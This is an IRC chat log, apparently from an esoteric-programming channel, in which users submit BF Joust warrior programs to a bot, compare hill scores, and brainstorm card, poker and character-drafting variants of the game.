trying to fuck my brain right now 06:56:49 The deck of cards consists of a low number of cards (if there are too many, it becomes too hard to guess your opponent's cards) and are used during the betting process. 06:56:52 Patashu: I replaced the bfjoust interpreter in EgoBot, egojoust is ultrafasssssst. 06:57:07 coolness 06:57:17 thank goodness no more waiting for that damned defend8 06:57:19 :) 06:57:40 Though I didn't remove it because it's doing well. 06:57:52 what's the url to the dir again? 06:57:54 haha 06:57:55 i don't have it here 06:57:59 I love how lazy counters defends 06:58:01 is creep still winning? 06:58:02 http://codu.org/eso/bfjoust/ 06:58:26 wah 06:58:30 how did that happen 06:58:37 hmm, I was going to try and tweak lazy, so... 06:58:38 when no further programs have been submitted o_O 06:58:45 !bfjoust lazy >+>->++>-->--->+++>>>((-.)*128>)*21 06:58:46 oh right, private submissions still 06:58:47 Score for Patashu_lazy: 42.0 06:59:02 oo that does better 06:59:10 One of my rules is that , takes input from opponent's . command, unless there isn't any in which case the input is random 06:59:12 beats creep XD 06:59:17 yeah, this scoring system is wack 06:59:37 4 losses vs 4 losses but 2 places difference :\ 06:59:45 !bfjoust lazy >+>->++>-->--->+++>+>->((-.)*128>)*21 06:59:47 Score for Patashu_lazy: 65.4 06:59:49 Hrm, the score here didn't correspond to the score from report.txt ... 06:59:53 no change 06:59:53 Oh, there 'tis. 07:00:00 same thing as before 07:00:04 it spits the old score most of the time 07:00:07 You might consider my rules a bit insane, but I think that's OK 07:00:08 except, i think, with new submissions 07:00:17 Bleh, I thought I fixed that. 07:00:20 zzo38: i don't understand a game in anything you've said so far 07:00:29 Also, the scoring system is nice :P 07:00:30 GregorR-L: didn't know you were working on it :) 07:01:12 anyway, bedtime for me 07:01:19 i'll see if i can take the code you shared earlier and play with it tomorrow 07:01:27 ..wait, where's my c compiler!? (just kidding! ;) 07:01:29 !bfjoust lazy >(+)*5>(-)*5>(+)*5>(-)*5>(-)*5>(+)*5>(+)*5>(-)*5>((-.)*128>)*21 07:01:32 Heh, tpyo :P 07:01:32 Score for Patashu_lazy: 75.3 07:01:33 Fixed. 07:01:39 hahaa 07:01:44 My thing is basically like BF Joust but with interactive play. You still have to write the program before the entire tournament and most of the normal rules are followed. 07:01:48 myndzi: Use the code in the egobot hg 07:01:49 !info 07:01:49 EgoBot is a bot for running programs in esoteric programming languages. If you'd like to add support for your language to EgoBot, check out the source via mercurial at https://codu.org/projects/egobot/hg/ 07:01:55 I've topped the hill in like five minutes 07:01:57 Also see [[Talk:BF_Joust]] for some of the ideas I wrote on the wiki 07:02:00 zzo38: so far you've said something weird about cards and swapping input 07:02:04 but you haven't said anything about how to win 07:02:08 or what to bet on 07:02:10 or anything 07:02:20 hmm 07:02:32 !bfjoust lazy >(+)*5>(-)*5>(+)*5>(-)*5>(-)*5>(+)*5>(+)*5>(-)*5>((-.)*64>)*21 07:02:33 And the amount you bet can affect subsequent input from input commands. 07:02:36 Score for Patashu_lazy: 0.0 07:02:45 !bfjoust lazy >(+)*5>(-)*5>(+)*5>(-)*5>(-)*5>(+)*5>(+)*5>(-)*5>((-.)*128>)*21 07:02:45 Patashu: congrats, but don't let it go to your head ;) 07:02:46 oh silly me 07:02:49 Score for Patashu_lazy: 75.3 07:02:56 You win either by the normal BF Joust way of winning, or if one player folds the other player wins. 07:03:11 ... you are insane 07:03:18 folds? with cards? 07:03:20 what cards? 07:03:24 Oh, I think I get the idea. 07:03:27 what happens if you increment a card+? 07:03:37 You're claiming (bluffing?) that your program is superawesome. 07:03:44 And the other person folds, rather than losing points. 07:04:03 A special set of cards for slightly affecting things in the game. You can bet only after several cycles have passed so you can't use cards on every cycle either. 07:04:23 You can't increment a card. 07:04:36 OK, I sort of understand, it's not the worst idea I've ever heard, but I'd like to see the implementation first :P 07:04:38 now you've tied the pieces together a little 07:04:43 (finally) 07:04:56 !bfjoust lazy >(+)*5>(-)*5>(+)*5>(-)*5>(-)*5>(+)*5>(+)*5>(-)*5(>(-.)*128)*20(-)*256(+)*256 07:05:00 Score for Patashu_lazy: 65.4 07:05:06 Look at how fast that is 8-D 07:05:15 yeah, it's badass :> 07:05:22 !bfjoust lazy >(+)*5>(-)*5>(+)*5>(-)*5>(-)*5>(+)*5>(+)*5>(-)*5>((-.)*128>)*21 07:05:23 thing is, there's 384000 cycles 07:05:25 Score for Patashu_lazy: 75.3 07:05:34 and some games could be over quickly or could take a long time 07:05:45 myndzi: Actually, 100000 in ais' and mine. 07:05:46 when do you "bet" and when do you "play"? how do you manage how many cycles between these actions? 07:05:54 GregorR-L: good to know 07:06:00 what would the worst case be then? 07:06:05 how hard can you make a program on the interpreter? 07:06:21 currently? use a lot of ({}) expansions until it breaks 07:06:21 :P 07:06:34 Yup 07:06:36 myndzi: I haven't worked out all the details yet. But I will work them out (and take suggestions into consideration also). 07:06:36 i think he has a limited size buffer, but i don't have the code up now 07:06:38 (({}){({})}({})) ? 07:06:46 doesn't really matter 07:06:54 it expands ({}) into a fixed buffer space 07:07:00 The buffer is "limited" to several hundred megs :P 07:07:02 so using a big number should be sufficient to reach the limit 07:07:07 oic 07:07:10 hmm 07:07:14 i wasn't sure .. i saw a reference to "somenumber" earlier 07:07:18 and thought it might be an arbitrary limit 07:07:30 so then if you nest some expansions you could probably take up an exponential amount of ram (and time) 07:07:31 myndzi: No, I was simplifying to give an example on #esoteric. 07:07:35 * myndzi nods 07:07:47 but the presence of the number there, i wasn't sure if it was a constant or not 07:07:48 * myndzi shrugs 07:07:53 I'm using my sweet buffer.h buffers. 07:08:01 They're expandalicious. 07:08:06 Also whether a program is doing better than the opponent can change at times (based on any random factors that might occur) so you have to change your bet too, like in poker. But in general, one program beats another, but you also have to know how to bet with the program you wrote and use cards on it effectively. 07:08:26 the ability to modify the playing field with cards is very tricky 07:08:38 it could be completely overpowered (like choosing when to 'unstick' a loop such as [] 07:08:56 and i'm not so certain it is really knowable which program is doing better until one wins 07:09:02 Yes, but cards are also few and not used often. You know all the cards that exist before you even write the program and enter the tournament! 07:09:14 i'm just pointing out things to consider 07:09:19 primarily, things that might make it not work 07:09:27 since that's how i seem to think about things :P 07:09:50 also, if you are somehow giving "status updates", consider how you will present that information 07:10:35 arg i was going to bed 07:10:37 It is not completely overpowered, because the number of cards you get is limited and random (and you know that if you have a card, the opponent can't have it), and you also play multiple runs per match, so depending on the bet amounts it could be replayed over and over again 07:10:41 * myndzi clicks off the monitor 07:11:02 !bfjoust waiter (+)*10000(-)*10000(>)*9((-.)*128>)*21 07:11:03 i guess overpowered was poor word choice 07:11:06 Score for Patashu_waiter: 60.5 07:11:14 i said ({}) not () 07:11:26 i meant to say that it seems difficult to strike an oppropriate balance 07:11:33 the things you can affect in the game are either trivial or drastic 07:11:54 appropriate* (heh, dvorak typos) 07:12:24 this is directly related to the ambiguity of how "good" a program is currently doing 07:12:44 They can be trivial or drastic depending on circumstances and on the cards. And also on the program you have written before the tournament (you know what cards exist before the tournament, so you can use that as a basis to write your program if you want to) 07:13:09 no, i mean what you want from the card is something between trivial and drastic... and i don't see any cards you can design that way 07:13:15 hmm so if I have [] 07:13:20 on the turn that my opponent makes that cell 0 07:13:23 incrementing or decrementing the data in a cell does little 07:13:25 how many turns later will I execute another command? 07:13:37 changing the pointer can either do pretty much nothing or drastically affect the outcome 07:13:46 Patashu: one 07:13:48 And they can be both trivial and drastic. Cards can be adjusted between tournaments by the tournament organizers 07:14:00 so if I did >[]< I'd get to my flag one turn later than the enemy 07:14:01 i think you are missing my point 07:14:02 so hmm 07:14:08 no, the same turn 07:14:11 but it wouldn't really help you much 07:14:21 oh right 07:14:21 assuming the enemy is running a zeroing loop 07:14:36 parity is important if I want to land them on exactly zero and trick them into going further isn't it? 07:14:39 zzo38: trivial cards kinda make the point of the cards not useful, and so do drastic cards 07:15:05 because it takes the game away from the code (of course, if that's what you want, sure.. i guess.. but then it's a card game) 07:15:14 Patashu: probably not 07:15:18 but you can't really do that 07:15:20 i mean, 07:15:29 this is what my timing comment on the wiki was about 07:15:33 It doesn't take the game away from the code, the code is still an important part. But it isn't everything. 07:15:37 say you are on your flag, and you know their pointer is on your flag 07:15:49 zzo38: design some cards that are neither useless nor overpowered and then say that 07:15:52 I'll assume they're using a [+] or [-] immediately say 07:16:02 Patashu: sure, but if you want them to run past you, the pointer has to hit 0 07:16:07 so I want to land them on exactly 0. if I'm on the wrong parity it'll go 1, -1 07:16:12 however, you can't wait until it's 0 and then inc or dec it 07:16:24 because it'll take 2 cycles 07:16:25 because it might be the wrong direction 07:16:27 and that 07:16:45 there is too much potential variance to try and do it based on timing 07:16:48 it'd be trivial to defeat 07:16:56 The information given at betting time could consist of: Distance between your flag and your pointer; distance between your flag and opponent's pointer; value at your pointer; next command to be executed in your program; next command to be executed in opponent's program. (You only know the next command, not the position of the command) 07:17:02 (for example, if you assume they are using something like [-] and time it so that falls through, 07:17:08 they could add a . before it 07:17:13 code with something like -. will break that) 07:17:22 or -- or any number of things 07:17:26 hmm. well, I'll think on it more then 07:17:28 anyway 07:17:29 !bfjoust waiter ((+)*10000(-)*10000)*2(>)*9((-.)*128>)*21 07:17:32 Score for Patashu_waiter: 75.9 07:17:35 And the number of cycles between bets could be equal to the number of cells on the tape (the number of cells is reset to randomly before each match). 07:17:38 wowza 07:17:55 zzo38: doesn't say anything about cards 07:18:36 those are good bits of information for betting purposes (with knowledge of the code) 07:18:38 Well, of course you also know what cards you hold and the number of cards the opponent holds, and also the number of chips held by each player and in the pot 07:18:48 'course with knowledge of the code, distance often doesn't seem that it will matter 07:19:04 !bfjoust waiter ((+)*10000(-)*10000)*2(+-)*5000(-+)*5000(+--)*2000(-++)*2000(>)*9((-.)*128>)*21 07:19:07 Score for Patashu_waiter: 75.9 07:19:13 zzo38: again, design a useful card that doesn't make it either a card game or make cards useless 07:19:33 You cannot look at the opponent's program however but you can learn about it after a few runs you have seen its behaviour so you know it better than at the start of the match 07:20:02 and the programs can't change, which means the results often won't change 07:20:07 unless... 07:20:12 PIKACHU, I CHOOSE YOU! :) 07:20:26 Well, some cards can adjust the programs slightly. 07:20:36 Like by inserting commands and things 07:21:04 it'd be almost impossible to make that make a "small" change to a program 07:21:25 consider "[]" .. insert anything into that and it will drastically and immediately change your program 07:21:40 random mutation severly breaks programs 07:21:44 in any language that isn't DNA :) 07:21:56 actually 07:21:58 Of course you are restricted to how and where you can adjust the program with a particular card, and whose program you adjust 07:22:13 you can't blacklist all "good combos" 07:22:22 no, nevermind - I was going to suggest an esolang that handled random mutation well, but it would just be incredibly redundant then 07:22:30 so "where" can't be dependent on the contents of the code 07:22:38 And the program would reset to its original state before each run of the program 07:23:06 whatever, i want to sleep not argue, i honestly wish you luck but i won't hold my breath just yet :P 07:23:29 The command could be inserted immediately before the command to execute next (of course you don't have much control over when you have a chance to play a card and make bets) 07:23:31 it is an intriguing idea, but i think what you want is approaching pokemon with code 07:23:44 which could be interesting, but it is not likely to end up anything like BF joust 07:23:44 it could be interesting to have a 'race' to crack the opponent's program before they crack yours. before each match you could insert an extra instruction at an index into your opponent's program (you don't know what), and they get to insert one into yours. fight, see who wins, repeat with another extra instruction 07:23:48 (which is also ok) 07:23:52 and make it say best after 7 07:24:08 I made a befunge variant with agents that roamed about, randomly mutating the code... it wasn't as interesting as I thought :( 07:24:10 but hm 07:24:24 you don't get enough information and you could make severely bloated programs that you can't alter the behaviour of readily 07:24:26 It isn't intended to be pokemon. (For pokemon games I have PocketMonsterIRC) 07:24:48 obviously our thought processes are not compatible :P 07:24:59 i don't mean pokemon as in little pets that have special powers 07:25:07 Asztal: It might be more interesting if you had a program that needed to approximate certain tasks, rather than do something specifically every single time 07:25:22 Like what a bfjoust program does, as opposed to the programs a bank uses 07:25:27 Ya, my thought processes are Forth 07:25:29 i mean two player versus mode with periodic decisions being made to affect the outcome 07:25:41 with, probably, some mechanism for "swapping out" your current warrior 07:25:50 (any modifications made to it can be made to have this effect) 07:26:45 myndzi: Your ideas are also good ideas! (But it is a separate thing from mine) 07:27:15 i give up :P 07:27:50 I do like your ideas too. But I also like my ideas too, as two separate kind of games! 07:28:28 i'm not proposing ideas 07:28:51 i'm trying to fit what you are telling me into some sort of balanced and useful context and pokemon is about the best i can arrive at 07:28:52 ;) 07:29:13 BF Poker: Every round, everybody is dealt, say, 15 characters. They trade and bet as in poker, then they're all ran as a hill and the pot is divided up by score. 07:29:26 that is to say, i can't think of any way that your use of "cards", aside from being used in those kinds of ways, could possibly be useful and also balanced 07:29:36 having to construct programs in BF or a BF-like languages from a limited pool sounds interesting 07:29:46 now that is intriguing 07:29:47 haha 07:29:52 draft brainfuck 07:30:00 (joust) 07:30:07 ? 07:30:08 you'd need to make sure (whatever the goal is) is always accomplishable though 07:30:19 maybe i used not quite the right term 07:30:26 All these ideas are good ideas for variants of games similar to BF Joust. 07:30:38 if it was BFJoust without any alterations, for instance, you'd need at least 29 >s 07:30:39 which is kinda eh 07:30:44 in collectible card games and stuff there is a variation of play where you are given a starter and some booster packs and you have to make do with what you get 07:30:45 so some other goal would be good 07:30:59 Patashu: I was assuming something like ais' BF Joust, with ()s. 07:30:59 robot fighting game? 07:31:21 do you get parens in matched pairs? ;) 07:31:26 what about decimal digits? hehe 07:31:37 DAMMIT i got three ()'s but no *! 07:31:42 myndzi: If you're lucky. Idonno, you can use any number? Maybe too powerful. 07:31:55 i think you'd have to deal out ALL characters 07:32:08 bf may not be suitable for this either 07:32:16 but it's amusing to consider 07:32:20 you could generalize it to any tokenized language 07:32:22 Something in that general area. 07:32:23 you might do statistical analysis on the current warriors 07:32:28 see how widely they vary 07:32:39 you could do it in say, golfscript 07:32:44 and the challenge is 'do something the judges find neat' 07:32:47 golfscript? 07:32:51 Oh :P 07:33:05 esolang based around using as few characters as possible to do things 07:33:19 (Or flogscript if that's the variant of golfscript you happen to prefer) 07:33:43 anything that's terse enough for arbitrary or near arbitrary token combinations to make sense 07:34:08 I think BF is fine :P 07:34:13 i think in this case (bf joust), the goal is too specific 07:34:23 *cough* FYB *cough* 07:34:34 that has a lot mor epotential i think 07:34:41 for the random character thing i mean 07:35:22 i don't know how you could give enough to do something with but not enough to leave it totally open ended 07:35:32 I like FlogScript because a program to delete duplicate lines of input is three characters long 07:35:51 I think 30 characters is probably about right. 07:35:52 To delete the first line of input, also three character long. 07:36:20 GregorR-L: then it comes down to, what can be written in 30 characters? a certain set of programs 07:36:20 And also three characters long program to reverse the order of the lines input 07:36:39 which one you right will be pretty much chosen by what you get, unless they use the same sort of characters 07:36:43 myndzi: But you're given the 30 characters, and plenty of them aren't useful. It's a mix of what can be done, and what you're given. 07:36:48 The "judge Janken" in FlogScript is exactly 30 characters long. 07:36:50 right 07:36:53 i understand that 07:37:05 I think making the characters have different probabilities is important too. 07:37:15 and force ()s etc to be matched 07:37:16 ? 07:37:20 Yeah, for free. 07:37:24 aah 07:37:32 so instead of getting a ( and ) you get a () 07:37:37 or w/e 07:37:39 Yeah, and make it appropriately rare. 07:37:46 it might be that brainfuck requires so many characters to get certain things done that.. 07:38:08 if you want those things doable at all, you necessarily relinquish restrictions on certain other things 07:38:15 Yuh 07:38:17 (that take much less to get done) 07:38:18 But what? :) 07:38:22 or just use a higher-level character-based language? 07:38:31 Such as? 07:38:40 befunge? 07:38:44 O_O 07:38:45 hmm 07:39:17 so, you can't have the takes-many-characters things possible, otherwise the class of takes-few-characters things is pretty much open ended 07:39:25 requiring you to restrict it to that class of takes-few-characters things 07:39:31 and at that point, randomness takes a huge toll too 07:39:36 i dunno vOv 07:39:51 so we have this Awesome Idea 07:39:52 right? 07:39:54 i always sound like i'm being negative 07:39:57 :( 07:39:58 it's so awesome but we don't know how to do it 07:39:59 Awesome Idea 07:40:04 Try FlogScript if you want to achieve things in only a few characters 07:40:20 flogscript: it slices, it dices, it cuts and cubes 07:40:21 ^ that may be a suitable answer, but i don't know anything about what he's talking about 07:40:21 order yours today 07:40:22 don't delay 07:41:32 O. See the wiki page about [[FlogScript]] for some examples. I have done the anarchy golf challenges by myself and posted the codes on the wiki (because anarchy golf doesn't have FlogScript) 07:41:34 i suspect that perhaps, given the right goal, brainfuck and a small set of random characters might be surprisingly flexible 07:41:50 but i'm thinking like ~10 characters or something, otherwise you start to get lots of duplicates that can be used for something useful 07:41:54 what would the goal be? :\ 07:42:05 myndzi: Probably with the right goal that might be correct. But it tells to wait see what it is. 07:42:26 quine 07:42:26 :D 07:42:31 haha you read my mind 07:42:47 but i got bogged down wondering if a brainfuck quine is even possible 07:42:52 I think I saw one once 07:42:53 oh 07:42:56 hmm 07:43:06 A brainfuck quine is possible. Not in only ten characters though! 07:43:09 http://esoteric.sange.fi/brainfuck/bf-source/quine/ ? 07:43:30 i'm sure it is, after all it's turing-complete rite? 07:43:40 i was just trying to think "how?!" 07:43:41 Yes 07:44:12 anything you can do in a higher level language you can do in brainfuck as well 07:44:18 just in a muuuch lengthier way 07:44:39 And there are compilers into brainfuck, such as [[BrainClub]] 07:44:41 Delete files. 07:44:48 ah! here's the idea i was thinking of 07:44:57 i'm a little slow 'cause i'm tired now 07:45:03 but you ever see those math puzzles that are like 07:45:21 "using the numbers 2 3 4 5 and 6, with any combination of operators, give an expression that evaluates to 23"? 07:45:23 or whatever 07:45:29 one possibility is 07:45:29 Yes 07:45:40 supply a random collection of +s, -s, s 07:45:53 allow the user to place [] (or () etc maybe even) wherever they want 07:45:59 but require them to use all the +s and -s etc 07:46:12 (of course, there's always the trivial case of putting trash at the end, so what can be done about that?) 07:46:44 ok not () 07:46:46 require the last command to be a . ? 07:47:04 but there's no guarantee the program ever reaches that point 07:47:09 perhaps require the program to terminate 07:47:21 for example, bf joust could be modified thusly: 07:47:27 no "lose if you run off the tape" rule 07:47:37 you must set their flag to 0 and terminate 07:47:48 I think you can provide a lot of characters if you make the probabilities right. 07:48:03 30, but in all likelihood 20 of them will be +'s and -'s. 07:48:03 so the task then becomes 07:48:14 to arrange the +-<> set to accomplish your task 07:48:20 by placement of those and [] 07:48:43 i don't think it'd work to force them to use a pre-supplied string of +-<> :P 07:48:48 Another idea: You have a brainfuck program without brackets, the puzzle is that you must then add the brackets to make a certain output. 07:48:48 but maybe you supply a random string of +- 07:48:57 and the person has to use them to accomplish the goal 07:49:13 zzo38: Now THAT'S interesting 07:49:38 so like +-++++-------++----++-+---++++, but you add <> [] wherever you want 07:49:40 Of course this puzzle I made is only a one player game, you aren't competing against anyone 07:49:43 but possibly longer 07:49:50 (probably longer) 07:49:58 and maybe use a restricted value set, instead of 256 values, 16 07:50:24 i don't know if that's even solvable quite yet but i think with enough <>s it probably is 07:51:12 the placing-brackets problem reminds me of some puzzle but i can't put my finger on it 07:51:17 -!- zzo38 has quit ("bed (will read logs)"). 07:51:27 he's got the right idea, lol 07:51:42 i don't think i've /quit properly in years 07:52:18 So have we approached an actual game here? :P 07:52:24 i have no idea 07:52:42 we've got a lot of ideas going 07:52:45 which is productive 07:57:43 -!- myndzi\ has joined. 07:59:59 -!- clog has quit (ended). 08:00:00 -!- clog has joined. 08:15:44 -!- myndzi has quit (Read error: 110 (Connection timed out)). 08:20:29 Hmmmm 08:20:48 do tell 08:20:56 The more I think about it, the less specific I get. 08:26:50 Now I'm thinking something like FYB without the loops, you insert the loops. 08:26:56 But I'd like to have a poker-esque trade phase. 08:26:59 -!- Gracenotes has quit (Read error: 54 (Connection reset by peer)). 08:27:56 (And I can't think of how to do that with the given-program add-brackets idea) 08:28:05 -!- Gracenotes has joined. 08:29:46 Also, FYB requires you do some fairly specific things to place a bomb, and that's counterproductive. 08:30:40 yeah 08:36:57 The goal really buggers up everything :P 08:37:38 GolfScript may be a good start. 08:39:59 -!- myndzi\ has quit (Read error: 113 (No route to host)). 08:45:41 Here's a thought: You're given some numbers and operators, and you have to form them into a RPN "program". The goal is to have the most prime factors. 08:46:22 or some other arbitrary criteria? 08:46:36 Sure, that's an example crieteria. 08:46:42 *criteria 08:46:51 biggest prime number 08:47:05 That would be fekking difficult :) 08:47:10 -!- lereah_ has joined. 08:48:19 just have mathematica open while you work 08:48:49 I can't, it's on a timer! 08:48:52 Anyway, good basic idea? Maybe add functions for giggles? 08:49:01 hehe 08:49:09 maybe one operator is always a randomly generated functino 08:49:09 * lereah_ looks at logs 08:51:56 -!- oerjan has joined. 08:54:55 How do I put on a little hat on a character in LaTeX? 08:54:58 ^, that is* 08:55:22 \hat{} iirc 08:56:02 also there was \widehat{} for putting it on something huge :) 08:56:21 (i'm more sure of the latter than the former) 08:58:16 My execution trace is >+++++++++>--------->+++++++++>--------->>>>>[---[+]]>[---[+]+++++++++>--------->+++++++++>--------->>>>>[>[>[---[+]+++++++++>--------->+++++++++>--------->> 08:58:25 Thx 08:58:31 oerjan: That's long fixed :P 08:58:35 that looks wrong for (>(+{>}-)%9)*2(>)*5([---[+]]>)*21 08:58:37 But I just need a regular sized hat 08:58:37 ok 08:58:57 lereah_: yeah \widehat expands as needed i think 08:59:55 GregorR-L: btw i was thinking you could do ()* and ({})* without expansion by keeping a counter for each () pair (which may be allocated globally or in a stack manner) 09:00:29 RPokerN idea: Every player has chips, they start with 15. They can deal themselves into a round, and are given 15 numbers or operators. The chances are: 1/2 number, 1/2 operator. Of numbers, the probability is 15% 1, (1-15%)*15% 2, etc etc up to maybe 16. The operators are *, +, - and /. The probabilities are 36% /, 27% +, 27% -, 10% *. 09:00:31 basically ( sets the counter initially, { decrements and jumps back unless zero, etc. 09:01:03 It costs 1 chip to be dealt in. At this point players are given an opportunity to ante up or fold, as in poker. 09:01:26 } does nothing, ) increments and jumps back to } unless equal to target value 09:01:45 Once everybody has seen the bet and not raised, the programs are won and the pot is divided by who did the "best". 09:01:58 and with this, [] works automatically 09:02:28 (for pure (), ) decrements instead of incrementing) 09:02:30 what if you have [] spread across different kinds of (){}s? 09:03:03 and it should still be fast in C 09:03:34 btw gregorR-L, why not determine the distribution of number tokens using Benford's law? http://en.wikipedia.org/wiki/Benford%27s_law 09:03:46 I guess it doesn't particularly matter though 09:03:59 I was thinking e.g. '*' is too useful for highest-primes. 09:04:02 Erm 09:04:06 For most-prime-factors rather. 09:04:21 what about ^? ;) 09:04:25 duplicate all your prime factors 09:04:33 lawl :P 09:06:09 an alternate similar game 09:06:21 would be to be given a set of numbers and usable operators 09:06:28 and to make it equal a number given upfront 09:06:31 first person to answer wins 09:06:43 Well that's not similar at all :P 09:06:51 yeah I guess 09:08:07 GregorR-L: of course i now find myndzi already said that, as well 09:08:24 oerjan: Not exactly, but similar. 09:10:28 GregorR-L: well, we have increments and decrements reversed :D 09:10:59 but that's not important, you don't get to check only for 0 in either option 09:11:14 *with 09:12:06 haha I just noticed 09:12:17 every single program on the hill that isn't mine is on exactly -1 overall 09:12:27 I think it's because the hill is evenly split between two types of program 09:12:34 defends and...non-defends :P 09:12:40 lawl 09:13:29 defend6 and defend6aparody even get exactly the same matchups 09:15:59 Patashu: well ais523 claims it's paper/rock/scissors so someone should add some of whatever is the third type 09:16:46 "fool" 09:16:50 unless this has happened because someone found something to break the p/r/s balance 09:16:59 I was thinking yeah 09:17:01 that it's only metastable 09:17:16 !bfjoust fooled_again [>[-(.)*64]-] 09:17:16 how well a program does on the hill is determined by how many programs that counter it are present 09:17:20 Score for GregorR-L_fooled_again: 9.0 09:17:21 or rather how powerful the programs it kills are 09:17:22 :P 09:17:47 it beats defend8 though 09:17:47 o.O 09:17:51 what's up with that y 09:17:56 Who knows 09:18:06 i suppose if someone flooded it with ... attackers, is that it, then the fools could have been wiped out 09:18:15 and then the defenders remain at the top 09:18:33 (well, one defender, by what you said) 09:18:51 anything that can beat both lazy and waiter will soar right to the top 09:18:57 oh you said even split 09:19:50 -!- myndzi has joined. 09:19:58 so, your program breaks the balance by beating two types? 09:20:02 the point system values programs that counter the most valued programs which is determined by countering the most valued programs... 09:20:23 value isn't constant, it's determined by the hill's makeup at that point in time 09:20:28 Yeah 09:20:32 since programs aren't just better and worse, they also have matchups 09:20:33 which is interesting 09:20:49 if the hill never kicked members off, it would give a much better representation 09:20:53 with roughly equal programs of all kinds at all times 09:20:58 i had a crazy idea that maybe the hill could be divided into separate ecosystems... 09:21:01 haha 09:21:02 yeah? 09:21:09 I could up the limit if people'd like. 09:21:15 20? 30? 50? 09:21:30 with only rare interaction, so that they could evolve into different balances 09:21:42 GregorR, 20^30^50 09:21:47 AnMaster: Yeaaaaaaaaaaaah no. 09:21:53 well 09:21:58 are there any disadvantages to having large hills 09:21:58 (and I haven't yet checked what this discussion was about, bbl too) 09:22:04 besides the cost of running bigger matchups? 09:22:07 Patashu: Takes longer to run a new program. 09:22:11 only twice as long 09:22:14 and it's p. fast right now 09:22:25 Exactly why that's OK now :P 09:22:52 So gimme a number. 09:22:58 or, you could have divisions 09:23:02 divisions? 09:23:09 like with sports teams 09:23:31 well, try 20 gregor 09:23:41 a number of lower hills whose members compete to get on the top hill 09:24:06 hmmm 09:24:09 if you have a program on top of the hill 09:24:19 you can weaken it by introducing something that counters it but nothing else 09:24:28 and it'll only be on the top as long as the first program remains 09:24:41 could you drag down a winner like that? 09:25:00 OK, it's at 20 now. 09:25:39 'k 09:25:39 !bfjoust rushpolarity >(+)*10>(-)*10>-->++(>)*5((+)*8[+[-]]+.--.++>(-)*8[-[+]]+.--.++>)*11 09:25:43 Score for Patashu_rushpolarity: 64.0 09:25:44 !bfjoust matador >-[]<(++-)*1000.(--+)*1000(>)*9(>[+][-])*21 09:25:48 Score for Patashu_matador: 14.5 09:26:33 -!- myndzi has quit (Read error: 60 (Operation timed out)). 09:27:38 !bfjoust nop < 09:27:42 Score for Patashu_nop: 6.6 09:27:45 :o 09:28:18 oh, it didn't tie anything 09:28:19 thank goodness 09:28:44 I'm ... not sure why its score is non-zero ... 09:28:47 !bfjoust really_nop . 09:28:51 Score for GregorR-L_really_nop: 8.3 09:28:55 XD 09:30:05 it has ties and...a win? 09:30:06 my god 09:30:22 two wins 09:30:29 oh one of them's again < 09:30:31 but it beats shade? 09:31:01 lawl 09:31:57 -!- oerjan has quit ("leaving"). 09:32:00 !bfjoust simple (>)*9([-]>)*20[[-][+]] 09:32:04 Score for Patashu_simple: 32.1 09:32:25 the formatting breaks for x.y scores 09:32:29 as opposed to xx.y 09:35:04 Sometimes, not always. 09:35:07 Tabs suck. 09:35:50 tabssss 09:37:58 Heh, I added a bunch of impomatic's back, and now ehird_defend8 is at the top :P 09:38:15 haha 09:38:17 lazy and waiter are still doing pretty well though. 09:38:30 I've been trying to think of a fixed point algo for score, but nothing comes to mind. 09:40:05 the bigger the hill is the more accurate it ought to be 09:40:14 there isn't really an objective metric of how good a program is 09:41:59 Yeah, and I like my score, it would just be tastier if it was a fixed point algo :P 09:42:57 (wins-losses)/number of characters in source 09:42:57 :P 09:43:30 Intriguing :P 09:43:42 down with defend#s once and for all 09:45:31 but yeah if you want to prune your hill a different way you could give more points to fast wins/slow wins/short programs/number of loops executed? 09:45:54 just to be interesting 09:45:59 There's all sorts of score possibilities. 09:58:02 !bfjoust train (>-)*8>>+[[-][-]>+] 09:58:06 Score for Deewiant_train: 32.7 10:01:56 -!- GreaseMonkey has joined. 10:03:22 yo 10:04:11 -!- myndzi has joined. 10:06:02 wb 10:08:41 !bfjoust boring (++--+-++--)*100000 10:08:45 Score for Asztal_boring: 44.0 10:10:11 * GregorR-L wurves the +/-/0 landscape. 10:10:48 how is it that you can win without attacking your opponent's flag? 10:11:16 The other program runs off the tape 10:11:28 yes, your train seems to do that 10:11:34 what is the win condition exactly? 10:11:40 http://esolangs.org/wiki/BF_Joust 10:12:29 Win conditions: 1) Your program parses and the other doesn't. 2) Your program doesn't run off the tape and the other does. 3) The other program's flag remains 0 for two turns. 10:12:39 oh I see 10:12:56 killing yourself isn't noping forever, it's losing 10:13:02 so . is a stronger program than < 10:13:13 !bfjoust simpleton [[[-]-]-] 10:13:17 Score for GregorR-L_simpleton: 9.0 10:13:28 !bfjoust boring-loop [++--+-++--] 10:13:31 Score for Deewiant_boring-loop: 31.0 10:13:42 O_O 10:13:42 ACK 10:13:49 what 10:13:50 ACK? 10:13:52 SYN 10:13:54 lol 10:13:56 was about to say 10:13:56 damn you 10:14:04 :-P 10:14:35 oh no 10:14:39 I have no permission to access report.txt 10:14:59 also it's not storing all the programs 10:15:09 That'd be the ACK, I guess 10:15:10 I see only 10 10:15:10 yeah 10:15:11 XD 10:15:19 It was supposed to be the best 10 10:15:23 Plus the latest 10:15:27 he uped it to 20 10:15:30 But he was... yeah 10:15:31 but not properly it seems 10:15:34 Yeah :-P 10:15:43 Hence ACK 10:15:53 I accidentally wonked out that report.c X_X 10:16:03 This is what I get for making changes on the server instead of my local hg repo. 10:17:25 Fixdlawl 10:17:38 Sorry, you'll have to readd those. 10:17:42 !bfjoust simpleton [[[-]-]-] 10:17:46 Score for GregorR-L_simpleton: 11.5 10:17:54 readd everything? 10:18:06 !bfjoust train (>-)*8>>+[[-][-]>+] 10:18:07 No, just the last two. 10:18:10 Score for Deewiant_train: 34.6 10:18:11 !bfjoust boring-loop [++--+-++--] 10:18:13 Just since simpleton. 10:18:15 Score for Deewiant_boring-loop: 23.3 10:19:52 -!- EgoBot has quit (Remote closed the connection). 10:20:03 The server's repo is in a bad state, gimme a minute to fix. 10:20:15 boring-loop has quite a defeatist attitude :) 10:21:09 !bfjoust boring-loop2 >+[<++--+-++-->--] 10:21:20 Oh, right 10:21:27 Well, that's a bit less defeatist 10:21:35 Although not necessarily as effective :-P 10:21:46 -!- EgoBot has joined. 10:21:56 say when 10:22:03 actually, I was thinking that it would just stop once someone got the flag to 0, but it should only do that 1 in 10 times 10:22:03 When EgoBot rejoins is when :P 10:22:11 !bfjoust boring-loop2 >+[<++--+-++-->--] 10:22:16 Score for Deewiant_boring-loop2: 19.8 10:22:17 !bfjoust juggernaut +(>(-)*128)*29 10:22:21 Score for 